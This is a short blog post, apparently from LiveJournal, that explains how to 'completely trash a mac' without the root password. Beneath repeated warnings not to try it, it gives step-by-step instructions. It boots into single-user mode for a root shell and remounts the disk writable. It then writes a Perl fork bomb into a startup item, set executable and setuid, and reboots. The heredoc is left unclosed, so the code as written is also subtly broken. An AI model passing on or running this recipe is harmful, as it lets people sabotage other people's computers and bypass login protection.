Agnus Dei (jackal) wrote,
Agnus Dei

How to completely trash a mac (without knowing the root password)

I am not responsible for anyone trashing their mac by doing this. I'm telling you RIGHT NOW, DO NOT DO THIS. It will trash your mac and you will need to boot of rescue media to recover it.

DO NOT DO THIS. ( I warned you. )

I'm serious DO NOT DO THIS !!!!

Step 1- Shutdown the mac

Step 2- Hold down the "COMMAND" and "S" keys together and press the power button. Continue to hold down the "COMMAND" and "S" keys until you are at a root prompt

Step 3- At the prompt type "mount -uw /"

Step 4- You are now root, you can do whatever you want from here. Seriously... anything.

Step 5- Type the following:

cd /Library/StartupItems/
cat > foo.command << EOF
perl -e "fork while fork" &
chmod +x foo.command
chmod +s foo.command

Step 6- Type "reboot"

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